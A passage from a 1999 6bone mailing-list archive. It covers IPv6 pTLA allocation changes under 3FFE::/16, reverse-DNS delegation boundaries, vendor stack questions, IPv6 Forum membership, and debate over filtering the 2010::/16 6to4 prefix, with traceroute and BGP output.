>out of their pTLA. This issue can also be reconsidered in the future as 
>usage of the new 12-bit space dictates. 
>> 
>> 
>> I would like to cease the allocation of /24 8-bit pTLAs at this time, and 
>move to the new /28 space. Hearing no convincing arguments to the contrary, 
>I will assign the next pTLA as a /28. As there are no outstanding pTLA 
>requests in the queue, it makes at least a two week delay in implementing 
>this. Comments to the list please.
>> 
>> 
>> Thanks,
>> 
>> Bob
>> 
>> 
>> 
>
>
>-- 
>--bill



---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.

From 6bone-owner  Mon Jun  7 15:41:19 1999
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Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?)
To: fink@es.net (Bob Fink)
Date: Mon, 7 Jun 1999 15:40:57 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU, iana@iana.org, aso-discuss@ripe.net
In-Reply-To: <4.1.19990607152119.00c32aa0@imap2.es.net> from "Bob Fink" at Jun 07, 1999 03:25:37 PM
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> 
> Bill,
> 
> I don't understand your comment on this. There appears no conflict in the proposed 6bone TLA usage with any of the docs you mention (by the way, RFC1897 is obsoleted). I'm probably missing something obvious, so please say more.

 Well, in the document:
..........
 PROVISIONAL IPv6 ASSIGNMENT AND ALLOCATION POLICY DOCUMENT
 (28 May 1999)
..........
	That the RIRs sent to the IANA, they adopt the 13bit cutpoint
	that was proposed in RFC 2450 and also proposed for the 6bone 
	and rejected for pragmatic operational reasons as described in
	you note to the 6bone (below).  RFC 2471 also calls for bit-level
	delegations.  My feeling is that the RIRs
	should also adopt this feature and not attempt to enforce
	delegations on bit bounds.

And while we can declare RFC1897 obsolete, the fact remains that it still
exists. (sort of like the all-ones, all-zeros broadcast values)  Unless I
am mis-reading the draft-ietf-ipngwg-iana-tla-01.txt document, this old
delegation falls right in the APNIC proposed delegation...  (I must be
misreading this)


 
> Thanks,
> 
> Bob
> 
> ===
> At 03:00 PM 6/7/99 -0700, bmanning@ISI.EDU wrote:
> >
> >Note that this change affects the existant documents that are being
> >used by the various RIR's on their delegation policies, i.e.
> >RFC 2450,
> >RFC 2471,
> >draft-ietf-ipngwg-iana-tla-01.txt
> >which appears to conflict with RFC 1897.
> >
> >	I think that this change, as implemented in the 6bone should
> >	be incorporated by the various RIRs in their operational documents
> >	and be used as a reference by the IANA in their discussions 
> >	about longer term delegation policies.  
> >	Yes, there is a movement afoot to get real bit level delegation
> >	deployed in the DNS but I don't think we can wait for that.
> >	
> >
> >> 
> >> 6bone Folk,
> >> 
> >> I recently proposed changing the pTLA 3FFE:/16 usage to allow future 
> >growth as the 6bone becomes used more for production. The current usage 
> >specifices an 8-bit pTLA (prefix 3FFE:xx00::/24), thus only providing for 
> >256 pTLAs, of which 57 are currently in use. 
> >> 
> >> The proposed change was to leave the lower half of the space usage as is 
> >(at least for now):
> >> 
> >> 	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
> >> 
> >> and starting at this point change to a 13-bit pTLA:
> >> 
> >> 	3FFE:8000::/29 thru 3FFE:FFF8::/29  new 13-bit pTLA space
> >> 
> >> Also, concern had been expressed about the odd bit size of the /29 in 
> >terms of implementing the reverse DNS path, so there was the possibility of 
> >making the new space fall on an nibble bit size boundary, say a /28 or /32.
> >> 
> >> 
> >> Comments generally seem to favor setting the new pTLA space at /28 on the 
> >grounds that 2048 pTLAs (half of a 12-bit pTLA space) is big enough, and 
> >that it makes the reverse path easier to specify for now. There was also a 
> >comment requesting that we don't require 8-bit pTLAs to convert to the newer 
> >pTLA space. 
> >> 
> >> 
> >> Thus I would like to change the proposal as follows.
> >> 
> >> The old 8-bit pTLA space will be reduced to use of the lower half of the 
> >space:
> >> 
> >> 	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
> >> 
> >> and starting at this point change to a 12-bit pTLA:
> >> 
> >> 	3FFE:8000::/28 thru 3FFE:FFF0::/28  new 12-bit pTLA space
> >> 
> >> I would also like to leave existing 8-bit pTLAs in place for the 
> >indefinite future. This issue can be reconsidered in the future as usage of 
> >the new 12-bit space dictates. 
> >> 
> >> It should also be noted that there is no planned policy at this time for 
> >requiring pTLA holders that acquire a TLA or sub-TLA allocation to renumber 
> >out of their pTLA. This issue can also be reconsidered in the future as 
> >usage of the new 12-bit space dictates. 
> >> 
> >> 
> >> I would like to cease the allocation of /24 8-bit pTLAs at this time, and 
> >move to the new /28 space. Hearing no convincing arguments to the contrary, 
> >I will assign the next pTLA as a /28. As there are no outstanding pTLA 
> >requests in the queue, it makes at least a two week delay in implementing 
> >this. Comments to the list please.
> >> 
> >> 
> >> Thanks,
> >> 
> >> Bob
> >> 
> >> 
> >> 
> >
> >
> >-- 
> >--bill
> 
> 
> 
> ---
> Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.
> 


-- 
--bill

From 6bone-owner  Tue Jun  8 08:44:28 1999
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Date: Tue, 08 Jun 1999 08:44:17 -0700
To: bmanning@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?)
Cc: 6bone@ISI.EDU, iana@iana.org, aso-discuss@ripe.net
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Bill,

At 03:40 PM 6/7/99 -0700, bmanning@ISI.EDU wrote:
>> 
>> Bill,
>> 
>> I don't understand your comment on this. There appears no conflict in the 
>proposed 6bone TLA usage with any of the docs you mention (by the way, 
>RFC1897 is obsoleted). I'm probably missing something obvious, so please say 
>more.
>
> Well, in the document:
>..........
> PROVISIONAL IPv6 ASSIGNMENT AND ALLOCATION POLICY DOCUMENT
> (28 May 1999)
>..........
>	That the RIRs sent to the IANA, they adopt the 13bit cutpoint
>	that was proposed in RFC 2450 and also proposed for the 6bone 
>	and rejected for pragmatic operational reasons as described in
>	you note to the 6bone (below).  RFC 2471 also calls for bit-level
>	delegations.  My feeling is that the RIRs
>	should also adopt this feature and not attempt to enforce
>	delegations on bit bounds.
>
>And while we can declare RFC1897 obsolete, the fact remains that it still
>exists. (sort of like the all-ones, all-zeros broadcast values)  Unless I
>am mis-reading the draft-ietf-ipngwg-iana-tla-01.txt document, this old
>delegation falls right in the APNIC proposed delegation...  (I must be
>misreading this)

RFC1897 is truly obsolete, and tho a few people persist in not renumbering their devices, most of us just filter them out. For all real purposes they are non-existant.

Also, RFC1897 used the old format prefix 010 that is unassigned in the current address architecture doc, RFC2373, so there is no overlap even if you believe the old 6bone test prefixes are still in use (which they really arent').

As for RFC2471, in real practice it only exists to allocate the special 1FFE TLA to the 6bone, nothing else. It certainly isn't in conflict with what the RIRs are doing. The RIR plans to allocate /29 prefixes while not allowing the sTLA holder to use more than /35 without approval is consitent with history, and at this point a fact of life. I also don't thnk it will matter much at this stage of the IPv6 process.


Thanks,

Bob


---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.

From 6bone-owner  Tue Jun  8 09:27:53 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199906081627.JAA14302@boreas.isi.edu>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?)
To: fink@es.net (Bob Fink)
Date: Tue, 8 Jun 1999 09:27:49 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU, iana@iana.org, aso-discuss@ripe.net
In-Reply-To: <4.1.19990608083355.00b706a0@imap2.es.net> from "Bob Fink" at Jun 08, 1999 08:44:17 AM
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> > PROVISIONAL IPv6 ASSIGNMENT AND ALLOCATION POLICY DOCUMENT
> > (28 May 1999)
> >..........
> >	That the RIRs sent to the IANA, they adopt the 13bit cutpoint
> >	that was proposed in RFC 2450 and also proposed for the 6bone 
> >	and rejected for pragmatic operational reasons as described in
> >	you note to the 6bone (below).  RFC 2471 also calls for bit-level
> >	delegations.  My feeling is that the RIRs
> >	should also adopt this feature and not attempt to enforce
> >	delegations on bit bounds.
> >
> As for RFC2471, in real practice it only exists to allocate the special 1FFE TLA to the 6bone, nothing else. It certainly isn't in conflict with what the RIRs are doing. The RIR plans to allocate /29 prefixes while not allowing the sTLA holder to use more than /35 without approval is consitent with history, and at this point a fact of life. I also don't thnk it will matter much at this stage of the IPv6 process.
> 

	Bob,
	There is a real problem with cut points on bit boundaries.
	The DNS implementations we have available for use won't
	work unless apply the cname hack on the equivalent of IPv4
	/2 boundaries. This is an operational hit that the existing
	6bone users refused to take.
	Thats why there was the encouragement for you to change the
	6bone delegations to /28 and not /29
	RFC 2450 and RFC 2471 both recommend sub-TLA delegations 
	at the /29 level. So does this proposed RIR document.
	If you really don't think this is a problem then why did
	you make the change to /28 delegations for the 6bone?
	Also remember that there is nothing that an RIR can do
	to "not allow" a delegate to use their full delegation.
	If you really beleive that it does not matter at this stage
	then I disagree with you. Inverse delegations will not work,
	delaying acceptence of this protocol.

	
> Thanks,
> 
> Bob
> 
> 
> ---
> Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.
> 


-- 
--bill

From 6bone-owner  Tue Jun  8 10:18:46 1999
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Date: Tue, 08 Jun 1999 10:18:37 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: just a reminder, Bob is on vacation
Cc: Alain Durand <Alain.Durand@imag.fr>
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6bone Folk,

Just a reminder that I am now on vacation until Oslo (IETF).

Please address all questions you would normally have for me to:

	Alain Durand <Alain.Durand@imag.fr>
	and to me, Bob Fink <fink@es.net>


Thanks,

Bob


---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.

From 6bone-owner  Tue Jun  8 10:38:24 1999
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To: Bill Manning <bmanning@ISI.EDU>
Cc: fink@es.net (Bob Fink), 6bone@ISI.EDU, iana@iana.org, aso-discuss@ripe.net
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?) 
In-reply-to: Your message of Tue, 08 Jun 1999 09:27:49 PDT.
             <199906081627.JAA14302@boreas.isi.edu> 
Date: Tue, 08 Jun 1999 12:38:14 -0500
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All right, enough already.  Bill, I think you're overemphasizing the
ugliness of the classless in-addr hack, and omitting the fact that
it's just temporary until the bit-string labels and new reverse-zone
structure come on-line.
					Matt

From 6bone-owner  Tue Jun  8 10:46:04 1999
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Message-Id: <199906081745.KAA22981@boreas.isi.edu>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?)
To: crawdad@fnal.gov (Matt Crawford)
Date: Tue, 8 Jun 1999 10:45:55 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning), fink@es.net (Bob Fink), 6bone@ISI.EDU,
        iana@iana.org, aso-discuss@ripe.net
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> 
> All right, enough already.  Bill, I think you're overemphasizing the
> ugliness of the classless in-addr hack, and omitting the fact that
> it's just temporary until the bit-string labels and new reverse-zone
> structure come on-line.
> 					Matt

	Well perhaps.  The hack is really intrackable above a /16 delegation
in the IPv4 world.  And I place the "temporary" window at 24 months before
reasonable deployment occurs. Which is the same timeframe as this transition
service is expected to last.


--bill

From 6bone-owner  Thu Jun 10 11:46:53 1999
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From: "Joseph Williams" <drj@lamar.colostate.edu>
To: "6bone@Isi.Edu" <6bone@ISI.EDU>
Subject: HP-UX implementation of IPv6
Date: Thu, 10 Jun 1999 12:48:40 -0600
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Hi Folks:

I'm doing an install of IPv6 on HP-UX 11.0 and have been unable to work
with the binary that is posted on HP's site.  The HP folks who manage
that site have been nice about things and they are looking into the
problems I've reported.  However, in the meantime I'm wondering if
anyone else out there has successfully deployed HP's IPv6 stack.  If you
have, I would like to hear from you to find out how the install went and
whether your implementation is still up and running.

Thank you,

Joseph Williams, Ph.D.
CIS Department, College of Business
Colorado State University
http://lamar.colostate.edu/~drj


From 6bone-owner  Thu Jun 10 18:10:32 1999
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Date: Fri, 11 Jun 1999 11:10:19 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: 6bone@ISI.EDU, deployment@6bone.org
Subject: BGP page for TRUMPET pTLA
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To show the health of our view of the 6bone...

http://blues.trumpet.com.au/bgpstat/bgp.html

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Fri Jun 11 01:02:02 1999
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From: Gregory Dreelin <greg_dreelin@hotmail.com>
To: 6bone@ISI.EDU
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How do I get off this list???

Thanks

Greg Dreelin


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From 6bone-owner  Sun Jun 13 13:11:25 1999
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Message-ID: <01BEB5E9.AC5F80A0.Latif.LADID@village.uunet.lu>
From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'John Montgomery'"
	 <johnmont@microsoft.com>,
        "'Brad Turner'" <Brad_Turner@3Com.com>
Cc: "'Vinton G. Cerf'" <vcerf@MCI.NET>,
        "'Brian E Carpenter'"
	 <brian@hursley.ibm.com>,
        "'Bob Fink'" <fink@es.net>, "'Bob Hinden'"
	 <hinden@iprg.nokia.com>,
        "'Steve Deering'" <deering@cisco.com>,
        "'Jim Bound'" <bound@zk3.dec.com>
Cc: "'John Tavs'" <tavs@us.ibm.com>, "'Tony Hain'" <tonyhain@microsoft.com>,
        "'Svend Moller Nielsen'" <smn@tbit.dk>,
        "'Itidal Hasoon'" <itidal@emirates.net.ae>,
        "'JORDI PALET MARTINEZ'" <jordi@consulintel.es>,
        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
        "'Franck Boissiere'"
	 <franck.boissiere@dg13.cec.be>,
        "'Peter Heywood'"
	 <pheywood@data.com>,
        "'Peter Kirstein'" <p.kirstein@cs.ucl.ac.uk>,
        "'Patrick Cocquet'" <patrick.cocquet@detexis.thomson-csf.com>
Cc: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>,
        "'Fred Baker'"
	 <fred@cisco.com>, "'Dale Finkelson'" <dmf@unl.edu>,
        "'Noami Okada'"
	 <nokada@po.ntts.co.jp>,
        "'Dr. Hagen Hultzsch'"
	 <hultzsch@telekom.de>,
        "'6BONE List'" <6bone@ISI.EDU>
Subject: Microsoft + 3Com Join the IPv6 FORUM + Status as of June 14th
Date: Sun, 13 Jun 1999 22:11:19 +0200
Organization: Telebit Communications A/S
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Please, find an update on the membership as of June 14th :

Please, welcome the newest Founding Members:

--------------------------------
- Microsoft: Thanks to Tony Hain and John Montgomery

- 3Com     : Thanks to Cyndi Jung and Brad Turner
-------------------------------

A - So far officially confirmed IPv6 FORUM '' Founding Members'' :
      A Truly International Team :


1  - Case Technology, UK-UAE
2  - Thomson-CSF Detexis, France
3  - Telebit, Denmark
4  - Eurocontrol, France
5  - Gigabell, Germany
6  - Hitachi, Japan
7  - Hewlett-Packard, USA
8  - DFN, Germany
9  - Canarie-Viagenie, Canada
10- NTT, Japan
11- WIDE, Japan
12- British Telecom, UK
13- Telecom Italia - CSELT, Italy
14- Mentat, USA
15- SUN, USA
16- Netmedia, Finland
17- Trumpet Software, Australia
18- Intracom, Greece
19- Cisco, USA
20- COMPAQ, USA
21- SPRINT, USA
22- NOKIA, USA
23- AT&T, USA/EMEA
24- Teldat, Spain
25- Deutsche Telekom, Germany
26- Qwest, USA
27- IABG, Germany
28- ESNet, USA
29- MCIWorldcom, USA
30- Ericsson, Sweden
31- Microsoft, US
32- 3Com, US


B - Very interested, but understandably need time to go through internal 
approval procedure:

1.	IBM, USA
2.	Acer, Taiwan
3.	RADLAN, Israel
4.	UMST Forum ICT Group
5.	ATNET, USA
6.	SBC Technology Resources, USA
7.	Bell South Corporation, USA
8.	N2G, US
9.	Loran Technologies, Canada
10.	Center for Wireless Comms, Singapore
11.	UCAID, USA
12.	SGI, USA
13.	France Telecom, France
14.	Nortel Networks, USA
15. Apple, USA


I might be missing some names !

C - Immediate Plan of Action

- First Update Session in Oslo along the IETF meeting

- First IPv6 FORUM Conference: GLOBAL IPv6 SUMMIT in Paris Oct 6-8.

- First Press Release will go out soon.

- More exciting programs will be published in due time.

Hope to win more IPv6 Friends as Founding Members!

R,
Latif






From 6bone-owner  Mon Jun 14 23:13:16 1999
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Date: Tue, 15 Jun 1999 14:07:03 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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	I am looking for the document about the sub-TLA assignment rule. Can anybody
tell me the full name of the Internet draft to refer to?
						Thanks
						Yann-Ju Chu

From 6bone-owner  Tue Jun 15 08:04:36 1999
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Date: Tue, 15 Jun 1999 16:04:03 +0100 (WET DST)
From: Rute Sofia <rsofia@rccn.net>
To: fink@es.net
cc: 6bone@ISI.EDU, wg-wan@rccn.net
Subject: FCCN's IPv6 Site
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Hi.

FCCN's IPv6 site is now also in english, at 
http://www.fccn.pt/rccn/projectos/ipv6/ingles/ or on our IPv6/IPv4 Web 
server, at http://www.ip6.rccn.net/ingles/

Among other information, we have some IPv6 basic tutorials, including one 
about DNS.

Comments and suggestions are welcome :-)

	Thanks,

		Rute Sofia

---------------------------------------------------
Helena Rute Esteves Carvalho Sofia
FCCN
Av. do Brasil, 101
1799 LISBOA CODEX
tel.: 8440115
fax: 8472167
e-mail: rsofia@rccn.net
"After silence, that which comes nearest to expressing 
the inexpressible is Music." - Aldous Huxley

---------------------------------------------------


From 6bone-owner  Tue Jun 15 12:33:24 1999
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Subject: Re: BOUNCE 6bone@zephyr.isi.edu: Non-member submission from [Bob Hinden <hinden@iprg.nokia.com>]
To: hinden@iprg.nokia.com
Date: Tue, 15 Jun 1999 12:33:18 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <199906151804.LAA08329@zephyr.isi.edu> from "owner-6bone@ISI.EDU" at Jun 15, 1999 11:04:28 AM
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> To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
> From: Bob Hinden <hinden@iprg.nokia.com>
> Subject: Re: sub-TLA assignment document
> Cc: 6Bone <6bone@ISI.EDU>
> In-Reply-To: <3765ED87.FB21F041@ms.chttl.com.tw>
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> 
> See:
> 
>   RFC2450 "Proposed TLA and NLA Assignment Rules"
> 
> Bob
> 
> At 02:07 PM 6/15/99 +0800, Yann-Ju Chu wrote:
> >	I am looking for the document about the sub-TLA assignment rule. Can anybody
> >tell me the full name of the Internet draft to refer to?
> >						Thanks
> >						Yann-Ju Chu

Note that there is also:

	draft-ietf-ipngwg-iana-tla-01.txt

Both have a potential showstopper in that they use bit-level delegation.
This can not currently be represented in the DNS in a managable fashion.
While I can remember 4 octects, 16 is right out.
I've made some comments about this failing on this and other lists.

The comment to the author(s) is to correct/modify the draft and re-issue
the RFC with the bit shift that Bob Fink agreed to for the 6bone on
05 may 1999.  Then people who would like to deploy IPv6 can do so
without the pain of not having working DNS for address-name lookup.



--bill

From 6bone-owner  Thu Jun 17 03:02:48 1999
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Subject: new Solaris patch for IPv6, anyone using it? help a newbie?
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G'day,

I've been trying to get IPv6 support onto my machines for a while,
but it's only just been made practical for me with Sun's release of
a patch to add in IPv6 support, so I'm a newbie here!

Is anyone else using it yet, and if so, could I get some tips
as to how to go about setting up my interfaces and connecting
a tunnel in Australia?

I've had a read through various documents, and have an idea
as to how the address structure works etc, but I've got few clues
when it comes to actually building something that works, any
pointers will be greatly appreciated.

Thanks,

Carl


From 6bone-owner  Mon Jun 21 08:51:08 1999
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?)
To: simon@limmat.switch.ch (Simon Leinen)
Date: Mon, 21 Jun 1999 08:50:16 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning), crawdad@fnal.gov (Matt Crawford),
        fink@es.net (Bob Fink), 6bone@ISI.EDU, iana@iana.org,
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In-Reply-To: <aabte9pvxo.fsf@limmat.switch.ch> from "Simon Leinen" at Jun 21, 1999 02:41:55 PM
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nibble waste can be the source of hugh waste.
however, its what folks want, its do-able, and
I've been persuaded that my real source of concern
may not get triggered.  I drop this isssue for now
and lets move on.


> 
> Bill,
> 
> > 	Well perhaps.  The hack is really intrackable above a /16
> > delegation in the IPv4 world.
> 
> in IPv4 the problem is much worse than in IPv6.  To inverse-delegate a
> /9, /17 or /25 in IPv4, you need 128 CNAME pointers.  In IPv6, the
> worst case requires only eight of them.
> 
> Having personally delegated quite a few eight-host subnets according
> to the classless in-addr "hack", I think this is quite tractable.
> 
> At least I don't think it's a good enough excuse to potentially waste
> gazillions of addresses by choosing bit boundaries a "user friendly"
> way.  Although this is just the 6bone, I think that it would set a
> really bad example.
> -- 
> Simon.
> 


-- 
--bill

From 6bone-owner  Thu Jun 24 13:41:34 1999
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Date: Thu, 24 Jun 1999 15:37:38 -0400
To: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU, deployment@ipv6.org,
        users@ipv6.org
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: IPv6 deployment BOF at INET99
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Hi,
	for those that are at INET99 in San José, or those that are in the Bay
area, there will be an IPv6 deployment BOF at 18h00 today. Meet near room
B3/B4 at 18h00 in the SanJosé Convention center.
	agenda is in the works, but basically related to: status of deployment
efforts and how to join.

Regards, Marc.

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
               http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Thu Jun 24 13:54:57 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: 2010::/16 filtering
Date: Thu, 24 Jun 1999 13:53:07 -0700
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I've started experimenting with connecting a 6to4 relay router to the 6bone.
(See http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-02.txt.)

This means that the 2010::/16 prefix is now being advertised in the 6bone.

However it appears that many sites are filtering this prefix. If you are
filtering, could you permit the 2010::/16 prefix?

As a check, please try pinging 2010:836b:4179::836b:4179.

Thanks,
Rich

From 6bone-owner  Thu Jun 24 15:23:07 1999
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Date: Thu, 24 Jun 1999 15:17:03 -0700
To: Richard Draves <richdr@microsoft.com>, "'6bone'" <6bone@ISI.EDU>
From: Cyndi Jung <cmj@3com.com>
Subject: Re: 2010::/16 filtering
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At 01:53 PM 6/24/99 -0700, Richard Draves wrote:
>I've started experimenting with connecting a 6to4 relay router to the 6bone.
>(See http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-02.txt.)
>
>This means that the 2010::/16 prefix is now being advertised in the 6bone.
>
>However it appears that many sites are filtering this prefix. If you are
>filtering, could you permit the 2010::/16 prefix?
>

I don't know about filtering, but I run into a loop attempting to get
to it:


Welcome to the 3Com NETBuilder
[1]TDC-ipv6 # trr6 2010:836b:4179::836B:4179
TraceRoute to 2010:836B:4179::836B:4179/128
TTL  Next Hop Address                              RTTs
1    3FFE:1900:5:1:200:81FF:FED5:805A/128        16 ms  16 ms  14 ms
2    3FFE:1C00::3/128                            86 ms  83 ms  85 ms
3    3FFE:1001:1:F004::2/128                     313 ms  327 ms  307 ms
4    3FFE:900:0:3::2/128                         115 ms  119 ms  113 ms
5    3FFE:1001:1:F004::2/128                     356 ms  359 ms  335 ms
6    3FFE:900:0:3::2/128                         150 ms  145 ms  148 ms
7    3FFE:1001:1:F004::2/128                     377 ms  374 ms  371 ms
8    3FFE:900:0:3::2/128                         183 ms  184 ms  192 ms
9    *
9    3FFE:1001:1:F004::2/128                     403 ms  *
10   3FFE:900:0:3::2/128                         271 ms  228 ms  249 ms
11   3FFE:1001:1:F004::2/128                     451 ms
   
12   3FFE:900:0:3::2/128                         254 ms  250 ms  
13   3FFE:1001:1:F004::2/128                     850 ms  *
14   3FFE:900:0:3::2/128                         284 ms  * *
15   * * *
16   3FFE:900:0:3::2/128                               

Cyndi                                    

From 6bone-owner  Thu Jun 24 16:13:28 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199906242313.QAA14612@zephyr.isi.edu>
Subject: Re: 2010::/16 filtering
To: richdr@microsoft.com (Richard Draves)
Date: Thu, 24 Jun 1999 16:13:22 -0700 (PDT)
Cc: 6bone@ISI.EDU ('6bone')
In-Reply-To: <4D0A23B3F74DD111ACCD00805F31D810145153D2@RED-MSG-50> from "Richard Draves" at Jun 24, 1999 01:53:07 PM
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> 
> I've started experimenting with connecting a 6to4 relay router to the 6bone.
> (See http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-02.txt.)
> 
> This means that the 2010::/16 prefix is now being advertised in the 6bone.
> 
> However it appears that many sites are filtering this prefix. If you are
> filtering, could you permit the 2010::/16 prefix?
> 
> As a check, please try pinging 2010:836b:4179::836b:4179.
> 
> Thanks,
> Rich

Thats a bit much, don't you think?  It comprehends the entire range ear-marked
for the IANA, the three RIRs and the reserved sub-TLA space.

--bill

From 6bone-owner  Thu Jun 24 16:36:29 1999
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: 2010::/16 filtering
To: richdr@microsoft.com (Richard Draves)
Date: Thu, 24 Jun 1999 16:36:18 -0700 (PDT)
Cc: bmanning@ISI.EDU ('Bill Manning'), 6bone@ISI.EDU
In-Reply-To: <4D0A23B3F74DD111ACCD00805F31D810145153DD@RED-MSG-50> from "Richard Draves" at Jun 24, 1999 04:27:57 PM
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> 
> > Thats a bit much, don't you think?  It comprehends the entire 
> > range ear-marked
> > for the IANA, the three RIRs and the reserved sub-TLA space.
> 
> I don't follow you?
> 2010::/16 is just taking one TLA.
> 
> Rich

Isn't this the one earmarked for subtla assignment? 

--bill

From 6bone-owner  Thu Jun 24 16:37:34 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: RE: 2010::/16 filtering
Date: Thu, 24 Jun 1999 16:27:57 -0700
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> Thats a bit much, don't you think?  It comprehends the entire 
> range ear-marked
> for the IANA, the three RIRs and the reserved sub-TLA space.

I don't follow you?
2010::/16 is just taking one TLA.

Rich

From 6bone-owner  Thu Jun 24 17:04:22 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: RE: 2010::/16 filtering
Date: Thu, 24 Jun 1999 16:47:25 -0700
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> > > Thats a bit much, don't you think?  It comprehends the entire 
> > > range ear-marked
> > > for the IANA, the three RIRs and the reserved sub-TLA space.
> > 
> > I don't follow you?
> > 2010::/16 is just taking one TLA.
> > 
> > Rich
> 
> Isn't this the one earmarked for subtla assignment? 

I have no idea. The 6to4 draft says to use TLA 0x0010 so that's what I'm
using.

Rich

From 6bone-owner  Thu Jun 24 17:35:39 1999
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To: Richard Draves <richdr@microsoft.com>
cc: "'6bone'" <6bone@ISI.EDU>
Subject: Re: 2010::/16 filtering 
In-reply-to: Your message of "Thu, 24 Jun 1999 13:53:07 PDT."
             <4D0A23B3F74DD111ACCD00805F31D810145153D2@RED-MSG-50> 
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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Date: Thu, 24 Jun 1999 20:34:57 -0400
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In message <4D0A23B3F74DD111ACCD00805F31D810145153D2@RED-MSG-50>, you write:
>I've started experimenting with connecting a 6to4 relay router to the 6bone.
>(See http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-02.txt.)
>
>This means that the 2010::/16 prefix is now being advertised in the 6bone.
>
>However it appears that many sites are filtering this prefix. If you are
>filtering, could you permit the 2010::/16 prefix?
>
>As a check, please try pinging 2010:836b:4179::836b:4179.

  Is it possible to make the 6to4 translator appear under your legitimate
prefix?

  I don't think it's a good idea to let every "hey, I'm testing a new service,
so please let me advertise a huge prefix" request happen; that will just lead
us to a bad place.

									-Craig

From 6bone-owner  Thu Jun 24 18:47:42 1999
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Date: Thu, 24 Jun 1999 21:47:32 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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To: 6bone@ISI.EDU
cc: richdr@microsoft.com
Subject: Re: 2010::/16 filtering 
In-Reply-To: <199906250028.AAA15164@inner.net>
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I have permitted the prefix into and out of Sprint filters, FYI. I am seeing
the announcement currently through the following AS-paths.

sl-bb1-6bone#sho ipv bgp 2010::/16
BGP routing table entry for 2010::0/16, version 345
Paths: (5 availiable, best #1)
  nexthop: 3FFE:2900:A:3::2 from: 3FFE:2900:A:3::2
    linklocal: FE80::26F5:4C36 Tunnel10
    weight 0
    AS path: 7081
  nexthop: 3FFE:2900:B:F::2 from: 3FFE:2900:B:F::2
    linklocal: FE80::C5C:69A8:B Tunnel45
    weight 0
    AS path: 5761
  nexthop: 3FFE:900:0:1C::1 from: 3FFE:900:0:1C::1
    linklocal: FE80::C8E:50C2:22 Tunnel21
    weight 0
    AS path: 1225 237 7081
  nexthop: 3FFE:C00:E:1::1 from: 3FFE:C00:E:1::1
    linklocal: FE80::60:3E11:6770:27 Tunnel50
    weight 0
    AS path: 109 237 7081
